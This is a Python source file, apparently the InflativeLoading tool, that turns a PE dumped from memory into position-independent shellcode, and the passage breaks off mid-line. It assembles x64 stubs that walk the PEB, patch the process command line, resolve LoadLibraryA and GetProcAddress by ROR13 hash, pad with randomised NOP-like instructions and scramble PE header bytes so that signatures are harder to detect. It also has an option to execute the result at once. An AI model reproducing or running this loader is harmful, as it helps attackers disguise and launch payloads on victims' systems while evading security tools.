import ctypes, struct from keystone import * import argparse import random def print_banner(): banner=""" ██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝ ██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗ ██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝ ██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗ ██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║ ███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ """ print(banner) print("Author: Senzee") print("Github Repository: https://github.com/senzee1984/InflativeLoading") print("Twitter: senzee@1984") print("Website: https://winslow1984.com") print("Description: Dynamically convert a native PE to PIC shellcode") print("Attention: Bugs are expected, more support and improvements are coming!\n\n\n") def generate_asm_by_cmdline(new_cmd): new_cmd_length = len(new_cmd) * 2 + 12 unicode_cmd = [ord(c) for c in new_cmd] fixed_instructions = [ "mov rsi, [rax + 0x20]; # RSI = Address of ProcessParameter", "add rsi, 0x70; # RSI points to CommandLine member", f"mov byte ptr [rsi], {new_cmd_length}; # Set Length to the length of new commandline", "mov byte ptr [rsi+2], 0xff; # Set the max length of cmdline to 0xff bytes", "mov rsi, [rsi+8]; # RSI points to the string", "mov dword ptr [rsi], 0x002e0031; # Push '.1'", "mov dword ptr [rsi+0x4], 0x00780065; # Push 'xe'", "mov dword ptr [rsi+0x8], 0x00200065; # Push ' e'" ] start_offset = 0xC dynamic_instructions = [] for i, char in enumerate(unicode_cmd): hex_char = format(char, '04x') offset = start_offset + (i * 2) if i % 2 == 0: dword = hex_char else: dword = hex_char + dword instruction = f"mov dword ptr [rsi+0x{offset-2:x}], 0x{dword};" dynamic_instructions.append(instruction) if len(unicode_cmd) % 2 != 0: instruction = f"mov word ptr [rsi+0x{offset:x}], 0x{dword};" dynamic_instructions.append(instruction) final_offset = start_offset + len(unicode_cmd) * 2 dynamic_instructions.append(f"mov byte ptr [rsi+0x{final_offset:x}], 0;") instructions = fixed_instructions + dynamic_instructions return "\n".join(instructions) def read_dump_file(file_path): with open(file_path, 'rb') as file: return bytearray(file.read()) def print_shellcode(sc): for i in range(min(20, len(sc))): line = sc[i * 20:(i + 1) * 20] formatted_line = ''.join([f"\\x{b:02x}" for b in line]) print(f"buf += b\"{formatted_line}\"") print("......"+str(len(sc)-400) +" more bytes......") def generate_nop_sequence(desired_length): print("[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes") nop_like_instructions = [ {"instruction": [0x90], "length": 1}, # NOP {"instruction": [0x86, 0xdb], "length": 2}, # xchg bl, bl; {"instruction": [0x66, 0x87, 0xf6], "length": 3}, # xchg si, si; {"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4}, # xchg rax, rbx; xchg rbx, rax; {"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4}, # add dx, 0 {"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6}, # inc rax; dec rax; {"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6}, # neg r8; neg 48; {"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7}, # add rax,0x1; dec rax; {"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10}, # sub rcx, 2; inc rcx; inc rcx ] sequence = bytearray() current_length = 0 while current_length < desired_length: available_instructions = [instr for instr in nop_like_instructions if current_length + instr["length"] <= desired_length] if not available_instructions: sequence.extend([0x90] * (desired_length - current_length)) break selected_instruction = random.choice(available_instructions) sequence.extend(selected_instruction["instruction"]) current_length += selected_instruction["length"] #sequence_hex = ' '.join(format(byte, '02x') for byte in sequence) return sequence def obfuscate_header(pe_header_array, segments): obfuscated_header = bytearray(random.getrandbits(8) for _ in range(len(pe_header_array))) # Iterate through each segment and restore the original bytes in those segments for segment in segments: offset, length = next(iter(segment.items())) obfuscated_header[offset:offset + length] = pe_header_array[offset:offset + length] return obfuscated_header def modify_pe_signatures(segments): print("[!] Dynamically generated instructions to obfuscate remained PE signatures:") instructions = [] for segment in segments: offset, size = next(iter(segment.items())) # for segment, size in segments.items(): if size == 2: # For WORD random_value = random.getrandbits(16) instruction = f" mov word ptr [rbx+{offset:#x}], {random_value:#04x};" elif size == 4: # For DWORD random_value = random.getrandbits(32) instruction = f" mov dword ptr [rbx+{offset:#x}], {random_value:#08x};" elif size == 8: # For QWORD random_value1 = random.getrandbits(32) random_value2 = random.getrandbits(32) instruction = f" mov dword ptr [rbx+{offset:#x}], {random_value:#08x};\n mov dword ptr [rbx+{offset+4:#x}], {random_value2:#08x};" else: raise ValueError("Unsupported size for segment.") instructions.append(instruction) return "\n".join(instructions) if __name__ == "__main__": print_banner() parser = argparse.ArgumentParser(description='Dynamically generate shellcode stub to append to the dump file') parser.add_argument('--file', '-f', required=True, dest='input_file',help='The input binary file dumped by DumpPEFromMemory.exe') parser.add_argument('--cmdline', '-c', required=False, default="", dest='cmdline',help='Supplied command line') parser.add_argument('--bin', '-b', required=True, dest='bin',help='Save the PIC code as a bin file') parser.add_argument('--obfuscate', '-o', required=False, default="false", dest='obfus',help='Save the PIC code as a bin file') parser.add_argument('--execution', '-e', required=False, default='False', dest='sc_exec',help='(Only Windows) Immediately execute shellcoded PE? True/False') args = parser.parse_args() input_file= args.input_file cmdline = args.cmdline bin = args.bin sc_exec = args.sc_exec obfus = args.obfus pe_array = read_dump_file(input_file) update_cmdline_asm = generate_asm_by_cmdline(cmdline) # Generate shellcode that used to update command line CODE = ( "start:" " and rsp, 0xFFFFFFFFFFFFFFF0;" # Stack alignment " xor rdx, rdx;" " mov rax, gs:[rdx+0x60];" # RAX = PEB Address "update_cmdline:" f"{update_cmdline_asm}" "find_kernel32:" " mov rsi,[rax+0x18];" # RSI = Address of _PEB_LDR_DATA " mov rsi,[rsi + 0x30];" # RSI = Address of the InInitializationOrderModuleList " mov r9, [rsi];" " mov r9, [r9];" " mov r9, [r9+0x10];" # kernel32.dll " jmp function_stub;" # Jump to func call stub "parse_module:" # Parsing DLL file in memory " mov ecx, dword ptr [r9 + 0x3c];" # R9 = Base address of the module, ECX = NT header offset " xor r15, r15;" " mov r15b, 0x88;" # Offset to Export Directory " add r15, r9;" " add r15, rcx;" # R15 points to Export Directory " mov r15d, dword ptr [r15];" # R15 = RVA of export directory " add r15, r9;" # R15 = VA of export directory " mov ecx, dword ptr [r15 + 0x18];" # ECX = # of function names as an index value " mov r14d, dword ptr [r15 + 0x20];" # R14 = RVA of ENPT " add r14, r9;" # R14 = VA of ENPT "search_function:" # Search for a given function " jrcxz not_found;" # If RCX = 0, the given function is not found " dec ecx;" # Decrease index by 1 " xor rsi, rsi;" " mov esi, [r14 + rcx*4];" # RVA of function name " add rsi, r9;" # RSI points to function name string "function_hashing:" # Hash function name function " xor rax, rax;" " xor rdx, rdx;" " cld;" # Clear DF flag "iteration:" # Iterate over each byte " lodsb;" # Copy the next byte of RSI to Al " test al, al;" # If reaching the end of the string " jz compare_hash;" # Compare hash " ror edx, 0x0d;" # Part of hash algorithm " add edx, eax;" # Part of hash algorithm " jmp iteration;" # Next byte "compare_hash:" # Compare hash " cmp edx, r8d;" # R8 = Supplied function hash " jnz search_function;" # If not equal, search the previous function (index decreases) " mov r10d, [r15 + 0x24];" # Ordinal table RVA " add r10, r9;" # R10 = Ordinal table VMA " movzx ecx, word ptr [r10 + 2*rcx];" # Ordinal value -1 " mov r11d, [r15 + 0x1c];" # RVA of EAT " add r11, r9;" # r11 = VA of EAT " mov eax, [r11 + 4*rcx];" # RAX = RVA of the function " add rax, r9;" # RAX = VA of the function " ret;" "not_found:" " xor rax, rax;" # Return zero " ret;" "function_stub:" " mov rbp, r9;" # RBP stores base address of Kernel32.dll " mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash " call parse_module;" # Search LoadLibraryA's address " mov r12, rax;" # R12 stores the address of LoadLibraryA function " mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash " call parse_module;" # Search GetProcAddress's address " mov r13, rax;" # R13 stores the address of GetProcAddress function ) ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE) CODE_LEN = len(encoding) + 25 CODE_OFFSET = 4096 - CODE_LEN e_lfanew, = struct.unpack('